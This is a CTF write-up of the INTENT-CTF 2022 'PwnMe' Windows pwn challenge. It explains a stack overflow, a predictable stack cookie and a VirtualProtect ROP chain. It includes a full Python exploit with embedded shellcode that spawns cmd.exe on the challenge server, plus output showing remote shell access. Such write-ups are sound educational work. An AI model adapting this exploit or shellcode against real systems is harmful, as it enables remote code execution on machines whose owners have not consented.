INTENT-CTF 2022: PwnMe writeup

 Date: December 17, 2022

The annual IntentSummit conference organized an online CTF. This time, I experimented pwning a windows binary for the 1st time in my life. As a *nix hacker, it took me awhile to adapt my current knowledge to windows-related stuff. I had to learn about some windows calling conventions+little bit of WinAPI stuff. Also, I got to bring back to life my very old(and un-used) windows VM. Overall, this chall was fun and quite friendly :D

The chall

Like every typical pwn challenge, we were given a windows binary(PwnMe.exe) and a remote host to launch our exploit on.

The PwnMe.exe binary is a server, listening on port 8888. Our task is to create a malicious client that will trigger a memory corruption & takeover the RIP register to achieve RCE. It requires a little bit of Reverse Engineering skills to spot the vuln, but not too much. To make things easier, I re-named the variables in the IDA screenshots of this writeup so it will be easier to follow.

Spotting the bug

The server has a handle_client function: In this function, the PwnMe.exe server calls recv() with a size field that we control. This dynamicly-sized buffer is stored in inputBuf and later on copied to a stack buffer stackBuf[] that has a static size of 4096.

Exploitation

To exploit this, we will:

  • Send a “size prefix” that has a large size(over 4096, bigger than stackBuf[])
  • Send a large buffer that will overwrite the return address on the stack

This is pretty straight-forward. However, there’s a stack canary/cookie validation in our way:

The canary is static, but XORed with dword_140005000, which is initilized during the program startup:

  srand(0x5CA1AB1Eu); // constant seed, allows prediction
  dword_140005000 = rand(); // setting the value the program will XOR against the canary 

Technically, we can predict the value of the canary by:

  • Adding to our exploit a call to srand(0x5CA1AB1E)+rand() to recover the value of dword_140005000
  • Use the return value and XOR it with 0xCAFEBABE

However, after some basic testing: I found that the value of (dword_140005000 ^ 0xCAFEBEEF) is 0xCAFEE3E0 100% of the time(static seed, lol)

So now, the plan is:

  • Send a “size prefix” that has a large size(over 4096, bigger than stackBuf[4096])
  • Send a buffer of 4096 bytes + contents that will overwrite the return address on the stack
    • After 4096 bytes, send 0xCAFEE3E0. This will prevent the condition from entering the ** STACK SMASHING DETECTED ** error/keep the stck_cookie variable in the same state that it was before we started our corruption.
  • Continue filling the stack buffer until you reach the return address.
  • profit

After taking over the RIP register, we need to craft a ROP chain.

ROP Chain

During startup, the program sets us an rwx page with very useful gadgets which can help us to populate function arguments before we call them in our ROP chain.

 v20 = VirtualAlloc(0i64, 0xC000ui64, 0x1000u, 0x40u);// allocating rwx page
  v13 = (__int64)v20;
  GetCurrentThreadStackLimits(&v25, &v24);
  v4 = v20;
  memset(v20, 0xCC, 0xC000ui64);                // filling the buf with 'int3'/breakpoint instructions
  // copying gadgets
  *(_WORD *)v20 = word_140005004;
  *(_WORD *)((char *)v4 + 5) = word_140005008;
  *((_WORD *)v4 + 5) = word_14000500C;
  *(_DWORD *)((char *)v4 + 15) = dword_140005010;
  *((_DWORD *)v4 + 5) = dword_140005014;
  *(_QWORD *)((char *)v4 + 25) = qword_140005018;

This ends-up in memory as:

Also, before calling handle_client(which we discussed above): the server also gives us:

  • The gadgets page address
  • Address of VirtualProtect in memory
  • RSP / stack leak

That’s, uhm, some very generous leaks lol

  printf_wrap("[+] Listening on port %d with SOCKET %d\n", (unsigned int)v14);
  s = sub_140001350(v19);
  memset(&buf, 0, 0x1000ui64);
  fmt_str((__int64)&buf, (__int64)"gadgets: 0x%llx\n", v13, v7);
  v21 = &buf;
  len = -1i64;
  do
    ++len;
  while ( v21[len] );
  send(s, &buf, len, 4);
  memset(&buf, 0, 0x1000ui64);
  fmt_str((__int64)&buf, (__int64)"RSP : 0x%llx\n", (__int64)&retaddr, v8);
  v22 = &buf;
  v17 = -1i64;
  do
    ++v17;
  while ( v22[v17] );
  send(s, &buf, v17, 4);
  memset(&buf, 0, 0x1000ui64);
  fmt_str((__int64)&buf, (__int64)"VirtualProtect: 0x%llx\n", (__int64)VirtualProtect, v9);
  v23 = &buf;
  v18 = -1i64;
  do
    ++v18;
  while ( v23[v18] );
  send(s, &buf, v18, 4);
  LODWORD(v11) = printf_wrap("[+] Handling client!\n", v10);
  handle_client(v11, s);

So, in that case: we can put a shellcode on the stack(which is not executable), then, craft a ROP chain that will make it executable by:

  • pop rcx(lpAddress); pop rdx(dwSize); pop r8(flNewProtect); pop r9(lpflOldProtect) to prepare the args for VirtualProtect
  • ret2VirtualProtect in order to make the stack executable
  • jump to shellcode with a call rsp gadget :D

Initial PoC(launched against my windows VM) with a calc.exe shellcode:

Now, all we got left to do is replacing the calc.exe shellcode with a cmd.exe and send it to the CTF server.

full exploit:

#!/usr/bin/env python3
from pwn import *

io = remote('34.231.191.85', 8888) # ctf server
# io = remote('10.0.0.53', 8888)   # windows vm for exploit-dev

# leaks
io.recvuntil(b'gadgets:')
gadgets_addr = int(io.recvuntil(b'\n', drop=True), 16)
io.recvuntil(b'RSP : ')
rsp = int(io.recvuntil(b'\n', drop=True), 16)
io.recvuntil(b'VirtualProtect:')
virtualProtect = int(io.recvuntil(b'\n', drop=True), 16)

print('[*] gadgets @ ', hex(gadgets_addr))
print('[*] RSP @ ', hex(rsp))
print('[*] VirtualProtect @ ', hex(virtualProtect))

# x64 fastcall gadgets
gadgets = {
    'call_rsp': gadgets_addr,
    'ret': gadgets_addr+0x11,
    'call_rsp': gadgets_addr+0x19,
    'pop_rcx': gadgets_addr+0x05,
    'pop_rdx': gadgets_addr+0x0a,
    'pop_r8': gadgets_addr+0x0f,
    'pop_r9': gadgets_addr+0x14,
}
rwx_addr = (rsp-0x1250) & 0xfffffffffffff000 # for page alignment purposes
print('[*] rwx_addr @ ', hex(rwx_addr)) # should become rwx by the end of the rop chain

body = b''
body += b'A'*4
body += b'B'*(4096-0x8)
body += p64(0xCAFEE3E0) # stack cookie
body += b'D'*8
body += b'E'*8
body += b'F'*8

# rop chain begins
# [in]  LPVOID lpAddress
body += p64(gadgets['pop_rcx'])
body += p64(rwx_addr)
# [in]  SIZE_T dwSize
body += p64(gadgets['pop_rdx'])
body += p64(0x2000)
# [in]  DWORD  flNewProtect, PAGE_EXECUTE_READWRITE https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants
body += p64(gadgets['pop_r8'])
body += p64(0x40) 
# [out] PDWORD lpflOldProtect
body += p64(gadgets['pop_r9'])
body += p64(rsp-0x20)
# call VirtualProtect (https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect#syntax)
body += p64(virtualProtect)
# jump to shellcode
body += p64(gadgets['call_rsp'])
body += p64(rsp+len(body)+0x20) # addr of shellcode


body += b'\x90'*0x10 # NOPs padding
# pop a shell
body += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"
body += b'\x90'*0x30

# preparing payload
payload = p64(len(body)) # size prefix
payload += body
io.send(payload)
io.interactive()

output:

$ ./hax.py DEBUG
[+] Opening connection to 34.231.191.85 on port 8888: Done
[DEBUG] Received 0x3c9 bytes:
    b' ,------------.                ,.--""-._\n'
    b" |   Alice's   `.           __/         `.\n"
    b' | Adventures in |     _,**"   "*-.       `.\n'
    b" |  Wonderland   |   ,'            `.       \\\n"
    b" `---------------'  ;    _,.---._    \\  ,'\\  \\\n"
    b"                   :   ,'   ,-.. `.   \\'   \\ :\n"
    b'  The Mad Hatter   |  ;_\\  (___)`  `-..__  : |\n'
    b'                   ;-\'`*\'"  `*\'    `--._ ` | ;\n'
    b'                  /,-\'/  -.        `---.`  |"\n'
    b'                  /_,\'`--=\'.       `-.._,-" _\n'
    b'                   (/\\\\,--. \\    ___-.`:   //___\n'
    b"                      /\\'''\\ '  |   |-`|  ( -__,'\n"
    b"                     '. `--'    ;   ;  ; ;/_/\n"
    b"                       `. `.__,/   /_,' /`.~;\n"
    b"                       _.-._|_/_,'.____/   /\n"
    b'                  ..--" /  =/  \\=  \\      /\n'
    b"                 /  ;._.\\_.-`--'-._/ ____/\n"
    b'                 \\ /   /._/|.\\     ."\n'
    b'                  `*--\'._ "-.:     :\n'
    b'                       :/".A` \\    |\n'
    b'                       |   |.  `.  :\n'
    b'                       ;   |.    `. \\SSt\n'
    b'\n'
[*] gadgets @  0x1e666730000
[*] RSP @  0x4c4856f9d8
[*] VirtualProtect @  0x7ffbf7dcb990
[*] rwx_addr @  0x4c4856e000
[*] Switching to interactive mode
*** YOU SEEM LIKE A NICE CLIENT :) ***
C:\Users\Administrator\Desktop
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported.  Defaulting to Windows directory.
Microsoft Windows [Version 10.0.20348.1249].
(c) Microsoft Corporation. All rights reserved.
C:\Windows>
C:\Windows>$ powershell

PS C:\Windows> $ ls C:\Users\Administrator\Desktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----                                                          
------        12/13/2022  12:33 PM        3467264 appjaillauncher-rs.exe                                        
-a----         12/1/2022   8:59 PM        3466240 appjaillauncher-rs_.exe                                       
-a----         6/21/2016   3:36 PM            527 EC2 Feedback.website                                          
-a----         6/21/2016   3:36 PM            554 EC2 Microsoft Windows Guide.website                           
-a----         12/1/2022   8:59 PM             41 flag.txt                                                      
-a----        12/13/2022  10:03 AM            967 madhatter.txt                                                 
-a----        12/13/2022  12:54 PM             78 pwnme.cmd                                                     
-a----        12/13/2022  12:53 PM          12800 PwnMe.exe                                                     
-a----         12/1/2022   9:42 PM          15872 PwnMe_local.exe
-a----         12/1/2022   9:49 PM          12288 PwnMe_no_banner.exe                                           

PS C:\Windows> $ cat C:\Users\Administrator\Desktop\flag.txt
INTENT{Y0u_D1d_1t!_Y0ur3_th3_Pwn_M4st3r!}

Thanks for the challenge! :D

 Tags:  intent ctf pwn windows

Previous
⏪ LibJS exploitation: 'broobwser' writeup

Next
LuaJIT Sandbox Escape: The Saga Ends ⏩